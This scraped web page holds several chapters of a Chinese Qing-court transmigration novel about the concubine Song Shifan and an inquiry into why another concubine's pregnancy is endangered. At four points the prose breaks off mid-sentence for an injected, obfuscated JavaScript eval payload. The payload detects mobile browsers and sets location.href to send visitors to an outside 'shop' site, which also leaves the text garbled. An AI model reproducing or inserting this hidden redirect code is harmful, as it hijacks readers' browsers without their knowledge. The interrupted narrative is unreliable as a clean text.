等到苏培盛把四爷惯常喝的茶叶送过来时,宋时繁还有些奇怪,不明白四爷大老远叫人去取过来为什么又不喝了,只说叫她收着。 后来宋时繁琢磨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13297554|137497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一下,觉得叫她收着的意思应该是说四爷下次来得时候再喝。 自觉想通了四爷一切想法的宋时繁便乖巧地将茶叶收到了柜子里。 而另一边,四爷见宋时繁小心翼翼地把茶叶收了起来,心情顿时好多了,就连方才发现他自作多情时的那一点子不悦也随之消散了。 四爷心说,这小格格还真是没出息,爷随便送点儿茶叶都跟宝贝似的藏起来,若他日再赏她些别的,还不知道要把小格格给高兴成什么样子呢。 想是这么想,可四爷的嘴角处却一直荡着些许笑意。 四爷今日还有事,倒没法子陪宋时繁久待,但尽管如此,仍是在宋时繁这里用完午膳才离开的。 宋时繁倒是丝毫不介意四爷留下来吃饭。 开玩笑,她一个格格就算每天塞钱去膳房里换着花样吃,也不及四爷想吃什么就有什么。 而且四爷每次在她这边用膳的时候都会叫她点菜,简直就是她假公济私的绝佳好机会,可以把平日里想吃却舍不得吃的菜通通点一遍! 四爷走后,宋时繁才觉出累来。 一大早起来请安就不说了,上午不是逛花园子就是见客,还得应付四爷,哪一件都不是轻松事。 竹苓瞧出宋时繁面上的疲惫,上前开口道:“这会子没什么事好做,格格不若小憩一会?” 宋时繁想了想也是,便点头说好,还道:“那我去把咪咪抱来,我同她一块歇个午觉。” 话音刚落,宋时繁抬脚就往大格格住的西厢房那边走。 对此,竹苓早就习以为常了。 自家格格跟旁的富贵人家后院里的女子不一样,她对大格格向来是能亲力亲为的时候绝不会假手于他人。 眼见着白薇已经跟着宋时繁出去了,竹苓也不着急,就在屋里铺床,还在角落里多点了两个火炉子,生怕一会儿大格格来会冻着。 不多会儿,宋时繁抱着大格格就进来了。 将大格格放到床塌上安顿好,确定大格格不会突然掉下来以后,宋时繁才开始收拾自己。 她先是换了一身寝衣,然后又让白薇帮她拆头发。 宋时繁来了这么久还是不太习惯梳着发髻直接睡觉,所以每次必定是要把头发全部拆开,然后都梳顺了才肯睡下,这就有点儿费功夫了。 所幸大格格十分乖巧,只是老老实实等自己的额娘,不哭也不闹的。 等宋时繁全部收拾妥当以后,她才爬上床塌,将大格格放到了床塌的里面,她自己则倚靠在大格格旁边哄她睡觉,嘴里还不时哼着两句歌儿,都是宋时繁在现代的时候听来的。 伴随着宋时繁轻柔的声音,大格格逐渐闭上了小眼睛,宋时繁也生出些困意来,到最后,宋时繁哄大格格的声音已经几不可闻了。 白薇见状上前检查了一下二人有没有盖好被子,确认没问题后便将床前的帘子放了下来,随后带着竹苓轻手轻脚地出去了。 宋时繁这一觉睡了许久,醒来之后尚且犹不知今夕是何夕。 忽然,她见白薇打开了帘子。 宋时繁本想问问什么时辰了,却瞧见白薇面上的神色十分凝重,宋时繁心下一惊,心知定是出事了。 果不其然,宋时繁下一秒就听白薇沉声道:“格格,李格格那边出事了!” 宋时繁闻言心中一紧,李格格可怀着孕呢,若是出事那可就不是小事了…… 41. 见红 大格格也已经醒了,宋时繁怕露出慌张神色来,到时吓着孩子,便低声对着白薇吩咐道:“先去把奶娘们喊进来。” 白薇点头应下,转身出了屋子。 其实,奶娘们一早就等候在宋时繁的屋子外面呢。 虽说宋时繁在大格格的事情上面,几乎凡事都要亲力亲为,倒是叫她们这些奶娘省了不少事,可她们怎么说也是当奴才的,自己本身就不敢有片刻松懈。 所以白薇一打开屋门,奶娘们便垂首进来了。 “大格格刚醒约莫要饿,我这会儿也没空了,你们把大格格带下去喂,吃完了再带着大格格院子里转转,只别出去就是。” 宋时繁不放心,细细嘱咐了奶娘们几句。 大格格原本在自家额娘怀里睡得好好的,突然要被抱走,还有些不情愿,嘴角撇了撇,嗓子里发出哼哼唧唧的声音,一副要哭不哭的样子。 宋时繁见状用脸颊贴了贴大格格的额头,“咪咪乖,不闹了,额娘晚上的时候再陪你睡觉,好不好?” 说着,宋时繁就将大格格抱给了奶娘。 奶娘赵氏小心翼翼把孩子接到自己怀里摇了摇,另一位奶娘则用小毯子将大格格裹了起来,确定等下出去之后大格格不会被风扑到,二人这才退了出去。 看着大格格被奶娘好生抱下去以后,宋时繁略松了一口气。 等屋门再次被关上以后,宋时繁才皱眉问道:“到底出什么事儿了?” 白薇闻言忙上前伺候宋时繁更衣,嘴里吐出的话却有些凝重。 “格格现下怕要亲自去一趟了,李格格那边仿佛是动了胎气…” “动了胎气?早上的时候不还好好的?”宋时繁有些惊讶。 “是三宝子打听来的,这事儿好像还同安姑娘身边的一个奴婢有关系,但具体的奴才们也不清楚,只是合府里都知道李格格那边又叫了太医,如今主子爷和福晋都在那儿,其他格格们也去了,若是格格不在不好。” 白薇一边帮宋时繁穿衣服,一边仔细地跟宋时繁解释事情的来龙去脉。 宋时繁越听越不对劲,脸上的表情也跟着沉重起来。 只见宋时繁任由白薇帮着穿衣服,她自己则微阖双眼,开始凝思起来。 李格格惊动了胎怎么又跟安秀秀扯上关系了? 先前除夕宴的时候,宋时繁瞧着她们二人之间关系挺亲密的。 当时宋时繁甚至以为安秀秀已经投靠了李格格,按理来说这两人不应该闹起来的呀,如今这样就有些奇怪了,当中必有蹊跷。 不过眼下,宋时繁肯定是要往李格格那边去的,索性她也不纠结了,等去到那边再看是怎么回事吧。 想到这里,宋时繁对白薇道:“过会儿我自己去,你和竹苓就别跟着我了。” 白薇一愣,不知道自家格格是什么意思。 宋时繁便解释了一句:“不知道那边是什么情况呢,我人微言轻,若真有事到时候也护不住你们,你们还是别一块了,在家里好好看着大格格就是了。” 白薇有些担心,踌躇道:“可格格您一个人也…” 不等白薇把话说完,宋时繁就打断了她的话头:“我没事儿,你家格格我好歹跟四爷睡过呢,总有些面子情,再说了,他们看在大格格的份上也不会对我怎么样,而且我也只是瞎担心,不一定真有什么事儿呢,你就放心吧。” “格格你又胡说了,什么睡不睡的,不斯文!”白薇被宋时繁插科打诨的话给绕了进去。 宋时繁漾出一个笑容来,顺着白薇的话开了个玩笑:“白薇,你又不是老学究,还讲究斯文不斯文呢!你家格格我呀,就是个大俗人,可听不懂斯文的话呢~” 白薇被宋时繁说得没辙,索性不搭理她的话,自顾上前将宋时繁按在镜子前,手上动作飞快地给宋时繁梳了一个整齐的发髻。 宋时繁自己也没闲着,她从首饰盒里拿了几样素银首饰戴上,毕竟来不及挑选了,总归不出差错也就是了。 梳好头发以后,白薇又去柜子里取了一件披风出来给宋时繁系在了衣裳外头。 “现在天色晚了,外头冷得很,格格多穿点儿再出门。”白薇叮嘱过后仍是有些不放心,想了想道:“要不奴才还是跟着格格去吧,奴才不怕的。” “傻白薇,干嘛一副视死如归的样子,你家格格又不是要上战场,好了,我得赶紧去了,再耽误下去才真是不好呢。” 宋时繁握了握白薇冰凉的手权作安抚,终于,在白薇担忧的目光中出了门。 宋时繁心里有事,脚下步子走得就快,不过她和李格格的院子隔得有点儿远,即便脚步再快,也走了有一会儿才到地方。 进了院子以后,宋时繁就瞧见院子里已经乌泱乌泱站了一大片人了。 福晋和四爷就不说了,另外,格格们也都到了,侍妾们倒是没来,她们没那个身份来,只除了安秀秀正瑟瑟发抖地跪在院子中间,还有就是跪在她身边的一个同样发着抖的小丫鬟。 一圈看下来,宋时繁显然是来得最晚的那个。 来不及思索什么,她先是上前正经朝着四爷和福晋请了安。 “奴才给主子爷、主子福晋请安,主子爷、主子福晋吉祥。” 四爷没说话,他这会子心情正烦躁着呢,原本他后院就子嗣稀少,如今又出了这样的事,甭提多恼人了。 所以四爷只挥手示意宋时繁起来回话。 宋时繁起身后又请罪:“奴才来迟了,方才要出门的时候大格格闹了一阵,一时便绊住了奴才的脚…” 对不起了咪咪,这种时候还是拿你顶包吧,千万别怪额娘啊,宋时繁在心里默默对着自家女儿忏悔了一句。 四爷闻言倒是没计较什么,还顺嘴关心了一句:“大格格没事吧?” 宋时繁摇了摇头:“就是小孩子闹气,没什么大碍的,主子爷不用担心。” “若是大格格有什么事就找人来回话,别耽误了。”四爷想了想又嘱咐了宋时繁一句。 四爷的态度如此明显,福晋本还想训斥宋时繁两句来着,现下也不好说出口了。 福晋只得点头应和道:“是呢,大格格放在你那里养着,万事都要尽心些,切不可疏忽了。” 福晋这话乍一听没有什么,可细细琢磨起来,却有些恶心人了,仿佛大格格不是宋时繁亲生的,只是暂时养在宋时繁跟前一样。 当然,若真要讲究起来,确实,府里的孩子都是应该叫福晋做嫡额娘的。 格格的身份嘛,说起来也仍是半个奴才呢,算不上什么。 不过四爷不计 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13306778|137497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 较这个,否则也不会一开始就允许宋时繁自己养孩子了,主子都不计较,府里人也只能跟着不计较,可如今福晋特特说了这么一句话就确实有些故意的成分在了。 宋时繁听了心里倒没什么反应,反正孩子就在她身边呢,福晋心里不痛快想说两句就说两句吧。 两句难听话算什么?在宋时繁看来那些都是虚的,听了也不会掉下去二两肉,她根本不在乎这些。 于是,宋时繁朝着福晋福了福身,柔顺开口道:“多谢福晋关怀,奴才知道轻重的,不敢慢怠大格格。” 反倒是四爷听了福晋的话微微皱了皱眉头。 福晋说得叫什么话?原先他还当福晋是个贤惠的,如今怎么越发小性儿起来,在这种小事上都要为难人,果然还是年纪太小的缘故吗? 不过毕竟是言语上的些许小事,四爷也不好真跟福晋计较什么,到底是嫡福晋呢,在人前还是要留面子的,四爷便没开口说什么,只在心里默默不满。 另一边,福晋见宋时繁乖顺应下,就像是一拳打在了棉花上,也没心思再为难她了,总归四爷还在跟前呢,福晋也不敢太过分就是了。 宋时繁见状便默默退到了旁边,同武格格和郭格格站到一起去了。 “你知道怎么回事吗?”武格格小声同宋时繁咬耳朵。 宋时繁闻言摇头,“我方才在歇午觉,一醒来听说了这事,就急急忙忙赶过来了,却不知道内情。” “我也不甚明了,好像是那位身边的奴才冲撞了李格格,李格格当时就见了红,立刻便传了太医进来,这会子太医还在里头诊治呢。” 武格格跟宋时繁解释道,还朝院中跪着的安秀秀努了努嘴。 “见红了?不是说李格格的胎已经满了三个月,一直胎像稳固嘛?怎么会突然见红?” 宋时繁惊讶得不行,她原先以为李格格可能只是动了胎气,没成想居然见了红,虽然宋时繁没有十月怀过胎,可她也知道,若是孕早期就见红怕是不好,严重的话孩子都有可能保不住,怎么事情突然就发展成这样了? “谁知道呢,不过这事儿太大了,惊动了不少人,主子爷原本在外头,一回来听说这事,连前院都没回,直接就到这边来了,福晋也吓着了呢,我瞧着那位安姑娘怕是没下场了。”武格格有些唏嘘地说道。 宋时繁也不知道说什么好了,又看了看仍跪在院中哀哀哭泣的安秀秀,以及她身边那个满脸凄惶的小丫头,宋时繁说不出心里头是什么滋味儿。 恰在此时,太医自李格格的屋里出来了,也是巧了,这位太医正是从前给宋时繁看过病的于太医。 于太医先拱手给四爷和福晋请了安。 “给四贝勒爷和四福晋请安,四贝勒爷和四福晋吉祥。” 四爷也确实有些心急了,不由自主上前两步,沉声问道:“于太医不必多礼,里头情况如何了?” “四爷放心,好在母体向来强健,胎儿暂时算是保住了,只是还需要好生卧床休养一段时间。” 于太医见四爷着急,也不敢卖关子,忙把里头的情形说给四爷听。 院中众人闻言皆是心中一松,尤其是安秀秀,跪着的腿都软了,听了于太医的话以后,泪水扑簌簌往下掉。 但她知道,好歹这条命算是保住了。 42. 事情起因 知道孩子没事,四爷当即便松了一口气,武格格和郭格格也笑着道:“还好李姐姐没事。” 不管是不是出自真心,总归众人的面上都是喜色。 宋时繁也在替李格格开心。 无论怎样,宋时繁都觉得稚子无辜,更何况,李格格也并不是什么大奸大恶之人,宋时繁当然不可能盼着李格格出事。 而且,按照李格格往日里重视这个孩子的程度,若是孩子真没了,还不知道李格格要伤心成什么样呢。 宋时繁自己也是做母亲的人,自然见不得别人经历失去孩子的痛苦。 好在幸运的是,李格格母子两个都平安无事。 想到这里,宋时繁的眼睛弯成了一轮新月,嘴角轻轻上扬,面上满是笑意,任谁看了都知道宋时繁是发自真心在替李格格高兴。 正好看见宋时繁灿烂笑脸的四爷,不由心中一软。 四爷心说小格格真善良呀,怕是因为自己有了孩子,所以也不忍见旁人受罪,这样就很好。 看着笑吟吟的宋时繁,连方才蒙在四爷心上的阴翳都散去不少。 殊不知,就在众人纷纷感概李格格安然无恙的时候,站在四爷身后的福晋,眼神中闪过一抹幽深。 但也只是瞬间的事情,很快福晋就露出一个完美的笑容来了。 只听福晋声音中略带感激地同于太医寒暄:“多亏于太医医术高明,保住了府中的子嗣,于太医今日实是辛苦了,回头我定备上厚礼送至于太医府上,还望于太医千万不要推辞。” 于太医忙称不敢,“四福晋太客气了,这都是微臣应该做的,待微臣再去开几幅保胎的药方来,到时按方子抓药来吃就是了。” 说着,于太医朝四爷和福晋的方向拱了拱手,然后便退下去开药了。 太医走后,福晋又用手中的帕子轻轻擦拭了几下眼角,看向四爷开口道:“幸好李氏无碍,爷,您能放心了!” 待人接物,端的是一副大度贤妻模样。 四爷拍了拍福晋的手,“福晋也辛苦了,跟着操心到现在,府上有福晋在,爷很安心!” 得了四爷当众的安慰之言,福晋面上显出些害羞来,“爷过誉了,奴才只是尽自己的本分罢了,李氏这会子才刚醒来,爷去瞧瞧她吧,她怕是也吓坏了,天可怜见的。” 福晋这话里透出些许慈爱来,显然,是福晋刻意为之,想叫四爷知道她不嫉妒,可四爷听了却着实是感到有些不自在。 要真论起来,李氏可比福晋大了好几岁呢,现下,福晋却用一副自己是长辈的语气说话,四爷当然会觉得别扭。 不过,既然福晋想在众人面前撑着威严,四爷也不可能多说什么,毕竟这也不能算是福晋的错处。 于是四爷点了点头道:“那爷就先进去瞧瞧李氏。” 福晋面上一派贤惠大方,目送着四爷进了李格格的屋子。 然而,福晋的心里其实是觉得可惜的。 她本就不喜欢李格格,更遑论李格格还十分有可能生下庶长子,福晋看李格格以及李格格腹中的孩子就更碍眼了。 若单单只是一个得宠的格格倒也罢了,毕竟格格身份低微,可偏偏又怀孕了,这就由不得福晋不多想了。 要知道,在清朝,庶子也是能分一分家产的,只不过四爷是皇子,除了家产还有爵位,只是这爵位肯定落不到庶子头上,除非到时候福晋生不出来孩子,那就两说了。 但即便只是分家产,福晋也是不愿意看到这种情况发生,多一个庶子出来,对她就多一分不利。 当然,如果此时宋时繁知道福晋的想法,她必是会抓住福晋的肩膀让她清醒一点,现在计较这些实在太早啦!你夫君可是未来的雍正帝啊!你在担心什么? 可惜了,福晋没有未卜先知的能力。 而且,宋时繁也不可能将自己所知道的事情透露给任何人就是了,她没那么傻,主动去给自己招祸,宋时繁还是很惜命的,暂时没有掉脑袋的打算。 不过,就算福晋在私底下把银牙都咬碎了,大面上也不能对李格格怎么样,只得由着李格格得意。 今次,好不容易盼到李格格出了事,谁知道李格格命好,自己没事就算了,孩子竟然也叫她给保住了,让福晋的心里怎么能不恨呢? 思及此,福晋用余光扫了一眼院中跪着的二人,心道这两个贱婢真是没用,怎么就没能把李氏肚子里那块肉弄掉!小打小闹一场有什么用? 安秀秀接收到福晋的目光心里唬了一跳,忙将头低了下去,身子不停地颤啊颤的,连声音都不敢发出来了。 倒是安秀秀身边那个丫鬟,目光瑟缩了一下,眼珠子转了转,也将头低了下去。 站在侧面的宋时繁正好目睹了这一幕,她眉心微微蹙起,心说看来这事还有得闹呢。 不多会儿,四爷从李格格的屋子里走了出来,在门口停顿了一下,便沉着脸走到了安秀秀跟前。 安秀秀看着眼前突然出现的皂色长靴,认出是四爷的脚,她当即便吓得浑身一抖,差点跪不住了。 四爷脸色阴沉沉地盯着安秀秀瞧了好一会儿,才终于开口道:“说吧,到底是怎么回事?若有不实之言,你也不必活了。” 安秀秀俨然被四爷这话吓破了胆,只知道害怕地磕头。 “回主子爷话,奴才没有,奴才不敢,真不是奴才…” 安秀秀已经吓坏了,说起话来前言不搭后语,只知道重复她不敢,可到底也说不出个所以然来。 四爷显然没有耐心了,伸出一根手指,指了指安秀秀身边的婢女。 “你来说。” 那婢女不敢违抗四爷的命令,鼓足勇气才开口对四爷解释起来。 “回主子爷,今天是…是姑娘…姑娘本来带着奴才在花园里逛,听花园里的小太监们说了几句话,不知为何就非要去见李格格…奴才告诉姑娘,李格格今儿上午才传了太医,这会子怕是不宜见客,可姑娘听了却更要去了,奴才拦不住…就叫姑娘到了李格格这里来。” “你放屁,明明是你劝我去花园,说可能会碰上主子爷我才去的,也是你撺掇着我来见李格格,这会子你倒是一推二五六,把自己弄了个干干净净,甩我一身脏水,你个贱人居然敢背叛我!” 四爷还没来得及说话,一旁的安秀秀已经暴怒起身,一边推搡着丫鬟,一边破口大骂。 安秀秀可是有胆子趁着四爷醉酒就爬床的人,多少还是有点脑子的。 原本她只是害怕,可这时却听身边的丫鬟竟然把所有的事情都推到她身上来了,当即还有什么不明白的? 要么,她就是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“然后…姑娘原本和李格格说话说得好好的,谁知小黄突然冲进来了,李格格被吓到了,慌乱中,姑娘叫奴才去抓狗,李格格躲闪不及,便…便摔倒了…奴才…奴才真不是故意的,求主子爷饶命啊!” “小黄?谁是小黄?”四爷沉声问道。 “小黄是…是姑娘养的小狗,才抱过来没几天,只认得姑娘一个人,今日姑娘要出门,奴才本是将小黄留在屋子里的,不知道它怎么跑出来的…许是闻出了姑娘的味道,便找到了李格格的院子里…” 四爷闻言抿起唇瓣,眼神森然,声音里透出浓浓的不悦来。 “照你这么说,罪魁祸首竟是一只狗了?” 安秀秀还在一旁挣扎,四爷不想再听那丫鬟说了,就又叫来李格格身边的贴身丫鬟随喜。 “你来说,当时是你陪在李格格身边吗?” 随喜对着四爷福身行了一礼才道:“回主子爷的话,是奴才陪着的,还有格格身边的其他奴才也都是在场的,如今格格有孕,奴才们不敢让格格一个人出门。” 四爷对此不置可否,福晋在一旁见状便似有若无地开口问了一句:“那你可看见当时的情况是否确如那丫头所言?” 随喜有些紧张,想了想才开口:“大致跟她说得一样,只不过…” “有话直说便是,吞吞吐吐做什么!”四爷见随喜犹犹豫豫话里有话的样子,烦躁得不行。 随喜低下头道:“只是当时那狗一进来就直奔我们格格而来,我们格格向来就怕狗,这才把格格吓到了…” 这事就有些扑朔迷离了,丫鬟说狗是找着安秀秀来的,随喜却说狗直接扑向了李格格。 宋时繁这下还真有些好奇到底是怎么一回事了。 不过就她目前的观察来看,安秀秀和李格格怕都是被人算计了,到底是谁在背后插了一杠子还说不准呢。 43. 牵扯到她? 福晋听完随喜的话后,沉吟了一会儿才道:“既如此,那就是安氏蓄意要害李格格了?” 听福晋的言语意思,仿佛是想快点给安秀秀定下罪责。 “奴才…奴才不敢妄言,只是当时事发突然,奴才们只顾得上救格格了,具体到底是什么情况,奴才也有些说不准…” 随喜有些犹豫了,她当然想揪出害了自家格格的凶手,否则这事儿就得论到他们这些做奴才的担下来,可想而知,等着他们的会是什么下场。 可若真要按照福晋的话直接将此事定在安秀秀身上,她又觉得不太对劲。 当时她就在现场,那安秀秀明明也是一副惊慌失措的样子,而且随喜不相信有人会傻到这么直白地上别人院子里来做坏事。 事到如今,随喜也不知道怎么办好了。 福晋闻言却把一对柳眉倒竖起来。 只听福晋当即便大声呵斥随喜:“大胆,事关人命也容得你在这儿含含糊糊的?我看你怕是活腻歪了!” 不等随喜开口辩驳,又听福晋继续道:“莫不是你们这些奴才护主不利,这会子便随意攀扯出些推脱之语好用来逃避责罚吧?” 随喜闻言大惊失色,忙朝着福晋磕头求饶:“求福晋明鉴,奴才自知有罪,可奴才刚刚所言句句属实,绝不敢有任何欺瞒的地方!” “哼,李姐姐有你这样忠心为主的奴才,岂不知她现下为何却躺在病榻之上?” 原是武格格忽然开了口。 只见武格格说完这句话又上前几步,对着四爷和福晋的方向盈盈下拜,起身后才又听她道:“请主子爷和福晋恕奴才无状了,奴才只是心疼李姐姐遭了大罪,一时激愤之下才会口不择言,求主子爷和福晋饶恕奴才!” 四爷从刚刚开始便一直沉默着没说话,倒是福晋露出个笑脸来,安抚了武格格两句:“无妨,你向来直率,我和爷都知道你的性子,不会同你计较的。” 武格格笑着福身谢过福晋,随后又状似义愤填膺地道:“多谢福晋,福晋就是这样大度贤惠,才给了下面这些奴才们放肆的机会,依奴才的拙见,这些人没有伺候好李姐姐,很应该直接打杀了,再给李姐姐另换了好的奴才来使唤便是。” 福晋闻言叹了口气,又揉了揉额角,一副苦不堪言的模样。 倒是福晋身边的吴嬷嬷适时帮福晋开口:“武格格有所不知,福晋日日操持着家务已有说不完的辛苦,偏府上大小事宜都得福晋照管,竟是一日也离不了人的,难免就有了疏漏,叫那起子奴才钻了空子,这才酿成今日之祸。” “吴嬷嬷这话不对,怎么能说是福晋的错?只是奴才们不知感恩罢了!”武格格脸上露出不赞同的神色来。 武格格同吴嬷嬷二人你一句我一句,一番唱念做打下来,竟隐隐透露出要直接将李格格身边的奴才都打发出去的意思。 宋时繁在一旁有听不下去了,这不是趁着李格格病了便要清算她身边的人吗?未免有些太趁人之危了。 思索片刻后,宋时繁终是开口帮着李格格身边的人说了句话。 “其实也不能就这样直接定下他们的罪责来,不管怎么说他们也及时救下了李妹妹,如今李妹妹虚惊一场不就是最好的证明吗?” “宋姐姐莫非是要替这些奴才求情?这可真是奇了,从前只知宋姐姐是个温柔和顺的脾性,倒不知宋姐姐竟这样善良,旁人听了还当宋姐姐和李姐姐关系多亲密呢,也是,宋姐姐和李姐姐进府比咱们早,自然该亲近些…” 武格格脸上的表情似笑非笑,仿佛只是漫不经心地随意说了一句话。 然而,武格格忽然话锋一转,又开始质问起宋时繁:“可是正因如此,宋姐姐不应该更恨那些个坑害了李姐姐的人吗?怎么又转头帮他们说起好话来了?这就叫人有些费解了啊!” 武格格一边说着还一边摇了摇头,在众人面前作出一副难以理解的样子来。 宋时繁有些无奈,知道武格格想要祸水东引,只得叹了口气,但仍要耐着性子继续解释。 “武妹妹这话就有失偏颇了,我的意思不过是希望不要这么武断,并不是在为谁说好话,而且李妹妹如今正是需要休养的时候,若是身边人忽然空缺出这么多,谁来照顾李妹妹?就算有新人进来,可一时半刻的,李妹妹也不一定就能用得惯呢。” 武格格的性子自来是八面玲珑的,不可能在大庭广众之下得罪宋时繁,而且宋时繁把话说得这么明白,武格格也只好点到为止。 “宋姐姐说的也是,是妹妹我考虑不周了,只顾着要惩罚那些没伺候好李姐姐的人,却忘了李姐姐还在病中,妹妹真是该打。” 这时候福晋出来打了一个圆场:“行了,知道你们都是好心,这事如何定论还是要看主子爷怎么说。” 其实,福晋私心里是很满意现在这样的局面的,格格们面和心不和总好过拧成一股绳来对付她,所以她乐得见格格们在一块过招,她这个福晋只需要稳坐钓鱼台就好了。 却不想,就在此时,安秀秀的丫鬟忽然又开了口。 “奴才…奴才想起一件事来…奴才不敢说。”那丫鬟畏畏缩缩地伏在地上。 一直没开口的四爷这才发话:“都到了这个时候还吞吞吐吐地做什么,有什么话快说。” 这丫鬟得了四爷的话忽然抬头看了一眼宋时繁,宋时繁被她看得莫名其妙,未曾想,这丫鬟下一句吐出来的话,让宋时繁有些无语了。 怎么就又牵扯到她的身上了呢? 只听安秀秀的丫鬟期期艾艾地开口了。 “姑娘带着奴才逛花园的时候,花园里的小太监们说,今儿个上午,众位格格都在花园里坐的时候,忽然,宋格格就说李格格的胎不好,当时就把李格格给吓坏了,然后李格格就匆匆走了,姑娘也是听说了这件事,这才带着奴才来看望李格格,谁曾想,后面竟发生了那样的事…” “而且…”那丫鬟又道,“之前我们姑娘在此之前曾私下偷偷见过宋格格一面,二人说了好久的话,当时奴才不在跟前,并不知道她们说过什么…” 这里指的应该就是安秀秀除夕那天偷着来找宋时繁想要投靠她的事。 宋时繁觉得特别好笑。 天地良心,她当初只是出于好心才提醒了李格格一句,这会子被人拿出来说嘴就算了,话里话外竟然还都是在指责她别有用心,保不齐还觉得是她联合了安秀秀来害李格格呢! 若果真如此,那她何必还要对李格格张那个嘴? 好在, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13321705|137497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宋时繁早有心理准备,听了这话不气也不恼,而是先看向了四爷和福晋。 毕竟,四爷和福晋现在是她名义上的大老板,发生这种被人冤枉的事情,宋时繁还是要看看老板们的脸色。 出乎意料的是,四爷并没有什么反应,显然是没把那丫鬟拖宋时繁下水的话放到心里去,福晋的脸上也是淡淡的,没什么表情,既没表现出相信也没有怀疑宋时繁的意思。 这就令宋时繁有些意外了,两个老板没有态度算怎么回事啊? 不过,该解释她还是要解释清楚的。 于是,宋时繁福了福身:“还请主子爷和福晋容奴才说句话。” 待四爷点了头,宋时繁才开口道:“之前安姑娘来找奴才说话那就是请安的时候碰到一起了,奴才和安姑娘并没有说什么见不得人的话,而且那天也是在花园里,来来往往都是人,若真有什么,也不会当众商议。” “至于今天上午,姐妹们确实在一起喝茶吃点心,彼时,奴才是想起从前奴才的额娘说过的一句闲话,觉得有趣儿,便说给了众位姐妹们听,李妹妹听完后也并没有太大的异样。” “不过…”宋时繁继续道:“奴才确实知道李妹妹回去以后叫了一次太医,可再多的,奴才就不知道了,直到方才,奴才听说李妹妹动了胎气,这才急急赶了过来,这其中到底发生了什么,奴才还一头雾水呢…若真是奴才的话吓着了李格格,还请四爷和福晋降罪,奴才愿意领罚。” 话音刚落,宋时繁就准备跪下去听候发落。 四爷瞧出宋时繁的意图,示意苏培盛上前去扶宋时繁。 苏培盛得了四爷吩咐,忙往前两步搭住了宋时繁的手臂,将宋时繁扶了起来。 只听苏培盛声音不大不小地开口道:“哟,宋格格,这哪儿能算是您的错处,即便当时几句玩笑话真吓到了李格格,可李格格当时没事,下午还能见客,如今发生这样的事,自然与格格您无关了…” 宋时繁知道苏培盛这两句话是在帮她打消嫌疑呢,便顺势站了起来,还对苏培盛感激道:“多谢公公了。” 一旁看着的四爷却有点不开心了。 这小格格有没有一点儿眼色?明明是爷让人去扶她的,怎么就知道谢苏培盛?个小没良心的! 四爷心中有些忿忿不平,但这种时候他要是对宋时繁摆脸色,旁人怕是更要找理由攀污她了,无奈之下,四爷只得绷着张脸,不愿叫人瞧出他的情绪来。 心气儿不顺的四爷连带着对苏培盛都不满起来。 这边,苏培盛接收到四爷的怨气时还一脸懵,不明白自己哪里做错了,不过主子生气肯定是奴才错了,苏培盛只好把头一低又退回了四爷身边。 安秀秀的丫鬟见没把宋时繁拖下水,知道没机会了,心下着急却不敢显露出来,只下意识咬着嘴唇,犹豫要不要继续攀扯宋时繁。 就在那丫鬟再次准备开口的时候,福晋适时打断了她的话:“闹哄哄像什么样子,如今公说公有理,婆说婆有理,我看是争不出个所以然来了…” 丫鬟听了福晋这话不敢再开口了,四爷神色莫名地看了福晋一眼,却没说话。 福晋被这一眼看得背后一凉,剩下的未尽之言也咽了下去,不敢再开口了。 44. 杖毙 福晋不再开口以后,四爷便看向那丫鬟:“狗是哪里来的?” 丫鬟紧张死了,根本不敢轻易开口,只是却下意识朝着福晋的方向看了一眼。 安秀秀的丫鬟看过来的时候,福晋心下一跳。 她本就被四爷瞧得有些心慌,这会子发现那丫鬟竟然在这种时候朝自己看来,心中恼恨不已。 可如今福晋也不知道那丫鬟还会冒出什么话来,只得悄悄用眼神示意身边的芸香。 芸香得了令,直接上前两步跪了下去。 “主子爷恕罪,狗是先头两天,安姑娘请安的时候来求,说长日无聊能不能养只狗在身边打发时间,奴才一想,姑娘们住得都僻静,等闲不会有人去,就算养了狗只关好就是,便私下里替福晋做主答应了安姑娘,不曾想竟引出后面这许多的祸事来…” 福晋作出一副大惊失色的样子来:“芸香,你!枉我平日里信重你,你竟做起我的主来了!如今这狗冲撞了李格格,我看你有几条命来赔?” 话音刚落,福晋又转向四爷:“爷,都是奴才没用,连个下人都约束不好,请爷责罚…”说着就要往下跪。 四爷肯定不能让福晋当众跪下,伸手扶了一把。 此时,芸香适时开口:“不关福晋的事,福晋从头到尾都不知情,是奴才心大了,以为等闲小事就不必叨扰福晋了,这才酿成大祸,主子爷要罚就罚我吧!” 